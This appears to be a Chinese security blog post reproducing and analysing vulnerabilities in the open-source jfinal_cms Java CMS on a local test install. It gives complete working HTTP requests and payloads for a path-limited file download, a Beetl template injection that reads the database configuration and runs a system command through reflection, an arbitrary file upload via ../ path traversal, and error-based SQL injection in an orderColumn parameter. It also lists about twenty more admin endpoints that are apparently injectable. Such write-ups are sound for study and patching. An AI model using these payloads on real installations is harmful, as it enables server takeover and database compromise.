jfinal cms是一个java开发的功能强大的信息咨询网站,采用了简洁强大的JFinal作为web框架,模板引擎用的是beetl,数据库用mysql,前端bootstrap框架。支持oauth2认证、帐号注册、密码加密、评论及回复,消息提示,网站访问量统计,文章评论数和浏览量统计,回复管理,支持权限管理。后台模块包含:栏目管理,栏目公告,栏目滚动图片,文章管理,回复管理,意见反馈,我的相册,相册管理,图片管理,专辑管理、视频管理、缓存更新,友情链接,访问统计,联系人管理,模板管理,组织机构管理,用户管理,角色管理,菜单管理,数据字典管理。
http://mtg.jflyfox.com/ jfinal cms
环境搭建
https://github.com/jflyfox/jfinal_cms
利用 phpstudy 搭建数据库 jflyfox_cms
将 sql/jfinal_cms_v4.sql
导入 修改 src/main/resources/conf/db.properties
配置文件
配置完成后执行

这样运行也是可以的

搭建完成

漏洞复现与分析
受限制的任意文件下载
为什么说是受限制的任意文件下载呢,因为这一处下载只能下载 webapp 目录下的文件,当项目部署在 tomcat 下时,可以读到更多的文件
登录后台后构造数据包
GET /jfinal_cms/admin/filemanager?mode=download&path=/WEB-INF/web.xml HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E9AB5867069D89D14D6DC03A29583735; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close

成功读取到 src/main/webapp/WEB-INF/web.xml
com.jflyfox.modules.filemanager.FileManagerController#index

在这里就进行了校验,禁止使用 ../
实现跨目录
com.jflyfox.modules.filemanager.FileManager#setGetVar

com.jflyfox.modules.filemanager.FileManager#sanitize

继续回到之前的任意文件读取

com.jflyfox.modules.filemanager.FileManager#download

com.jflyfox.modules.filemanager.FileManager#getRealFilePath

将传入的值与原本的路径拼接起来,读取并下载下来。
任意文件读取
登录后台后访问模板管理功能,对其中的 html 页面进行修改

增加读取文件的操作
${printFile("../resources/conf/db.properties")}
保存文件后,刷新主页面,就读取到了数据库配置内容

com.jflyfox.modules.filemanager.FileManagerController#index

同样也是在之前对文件路径校验无法跨目录的保存文件,但是没有对文件内容进行校验,所以可以对文件内容进行操作,实现读取任意文件的操作
com.jflyfox.modules.filemanager.FileManager#saveFile

模板注入--任意命令执行
登录后台后访问模板管理功能,对其中的 html 页面进行修改

增加命令执行的操作
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
保存文件后,刷新主页面,就执行了命令弹出了计算器

com.jflyfox.modules.filemanager.FileManagerController#index
同样也是在之前对文件路径校验无法跨目录的保存文件,但是没有对文件内容进行校验,所以可以对文件内容进行操作,实现读取任意文件的操作
com.jflyfox.modules.filemanager.FileManager#saveFile

因为模板引擎采用的是 beetl,默认情况,java.lang.Runtime,和 java.lang.Process不允许在模板里调用,所以通过反射来实现命令执行。可以通过符号@来表明后面表达式调用是java风格,可以调用对象的方法,属性。
任意文件上传
登录后台后构造数据包
POST /jfinal_cms/admin/filemanager?config=filemanager.config.js HTTP/1.1
Host: localhost
Content-Length: 416
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL6g8dDU693shgHlc
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/jfinal_cms/admin/filemanager/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6DD4F839B4DB163AF2286D3306BFC7B1; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; __bid_n=188050823e4d0b0b1a4207; Hm_lvt_1040d081eea13b44d84a4af639640d51=1683711600; FPTOKEN=r5VZIcDLqEH7c/mryfOmf2JClISwH6WgE3PPP2UYWFv93HEwAOFjpsUx0VLqsq5qGekuE8xmVoVoU+dlPxykbJyYm59ZJ0ZTLTn2VZKqH4CqJk3fXOKfB010Fgwz8/XiY0bkPqeCSzZ57CsyxhQXz0jM3908qRPkDogKUuwmHp0rbw3T1VFx7zxOHb9CxgXANKpRsBDcoSsclFkKyRhiGkbZp7/U5gXEGsLn3SgiQzVwwOZEoKszaMXX5zPOu+ZvgVGbyZHBM3xs2a2Ch3iA016bBv3SPWCIKhfSz2Oq3dm85PwrBwEek9v8UWFtGSQtMypazY3CzHe0sU3bolKFT3vi9h+IdzIaIRRv7SvVb0xp1k1SDQisCz7c/L0r2biseNRQ4ef5ND8WX9Kw28M+nw==|FaTerwpwQkZqSYbjFAkQ2CvkbGrBjrLOaDYpORuiEpo=|10|86f62ad909f9da970934bd2f7ac666aa; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1683788469
Connection: close
------WebKitFormBoundaryL6g8dDU693shgHlc
Content-Disposition: form-data; name="mode"
add
------WebKitFormBoundaryL6g8dDU693shgHlc
Content-Disposition: form-data; name="currentpath"
/jfinal_cms/template/project/../../
------WebKitFormBoundaryL6g8dDU693shgHlc
Content-Disposition: form-data; name="newfile"; filename="test.txt"
Content-Type: text/plain
test
------WebKitFormBoundaryL6g8dDU693shgHlc--

会将文件上传到网站根目录下

可以将任意文件上传到网站的任意位置

因为获取文件路径的参数是 currentpath 没有进行校验,所以可以利用 ../ 实现跨目录的上传

校验文件名也只是前端进行了校验,所以实现任意文件上传
SQL 注入漏洞
jfinal_cms 存在的 SQL 漏洞较多所以就简单的进行复现分析
videoalbum__list
登录后台后构造数据包
POST /jfinal_cms/admin/videoalbum/list HTTP/1.1
Host: localhost
Content-Length: 65
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/jfinal_cms/admin/videoalbum/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6DD4F839B4DB163AF2286D3306BFC7B1; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; __bid_n=188050823e4d0b0b1a4207; Hm_lvt_1040d081eea13b44d84a4af639640d51=1683711600; FPTOKEN=r5VZIcDLqEH7c/mryfOmf2JClISwH6WgE3PPP2UYWFv93HEwAOFjpsUx0VLqsq5qGekuE8xmVoVoU+dlPxykbJyYm59ZJ0ZTLTn2VZKqH4CqJk3fXOKfB010Fgwz8/XiY0bkPqeCSzZ57CsyxhQXz0jM3908qRPkDogKUuwmHp0rbw3T1VFx7zxOHb9CxgXANKpRsBDcoSsclFkKyRhiGkbZp7/U5gXEGsLn3SgiQzVwwOZEoKszaMXX5zPOu+ZvgVGbyZHBM3xs2a2Ch3iA016bBv3SPWCIKhfSz2Oq3dm85PwrBwEek9v8UWFtGSQtMypazY3CzHe0sU3bolKFT3vi9h+IdzIaIRRv7SvVb0xp1k1SDQisCz7c/L0r2biseNRQ4ef5ND8WX9Kw28M+nw==|FaTerwpwQkZqSYbjFAkQ2CvkbGrBjrLOaDYpORuiEpo=|10|86f62ad909f9da970934bd2f7ac666aa; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1683792871
Connection: close
form.orderColumn=or updatexml(1,concat(0x7e,(user()),0x7e),1) --+

com.jflyfox.modules.admin.video.controller.VideoalbumController#list

com.jflyfox.jfinal.base.BaseController#getBaseForm

最后执行的 SQL 语句

contact__list
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: localhost
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/jfinal_cms/admin/videoalbum/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6DD4F839B4DB163AF2286D3306BFC7B1; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; __bid_n=188050823e4d0b0b1a4207; Hm_lvt_1040d081eea13b44d84a4af639640d51=1683711600; FPTOKEN=r5VZIcDLqEH7c/mryfOmf2JClISwH6WgE3PPP2UYWFv93HEwAOFjpsUx0VLqsq5qGekuE8xmVoVoU+dlPxykbJyYm59ZJ0ZTLTn2VZKqH4CqJk3fXOKfB010Fgwz8/XiY0bkPqeCSzZ57CsyxhQXz0jM3908qRPkDogKUuwmHp0rbw3T1VFx7zxOHb9CxgXANKpRsBDcoSsclFkKyRhiGkbZp7/U5gXEGsLn3SgiQzVwwOZEoKszaMXX5zPOu+ZvgVGbyZHBM3xs2a2Ch3iA016bBv3SPWCIKhfSz2Oq3dm85PwrBwEek9v8UWFtGSQtMypazY3CzHe0sU3bolKFT3vi9h+IdzIaIRRv7SvVb0xp1k1SDQisCz7c/L0r2biseNRQ4ef5ND8WX9Kw28M+nw==|FaTerwpwQkZqSYbjFAkQ2CvkbGrBjrLOaDYpORuiEpo=|10|86f62ad909f9da970934bd2f7ac666aa; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1683792871
Connection: close
form.orderColumn= 1 or updatexml(1,concat(0x7e,(user()),0x7e),1) --+

/jfinal_cms/admin/advicefeedback/list
/jfinal_cms/admin/article/list
/jfinal_cms/admin/article/list_approve
/jfinal_cms/admin/comment/list
/jfinal_cms/admin/folder/list
/jfinal_cms/admin/foldernotice/list
/jfinal_cms/admin/folderrollpicture/list
/jfinal_cms/admin/friendlylink/list
/jfinal_cms/admin/image/list
/jfinal_cms/admin/imageshow/list
/jfinal_cms/admin/imagealbum/list
/jfinal_cms/admin/site/list
/jfinal_cms/admin/video/list
/jfinal_cms/system/config/list
/jfinal_cms/system/department/list
/jfinal_cms/system/dict/list
/jfinal_cms/system/log/list
/jfinal_cms/system/menu/list
/jfinal_cms/system/role/list
/jfinal_cms/system/user/list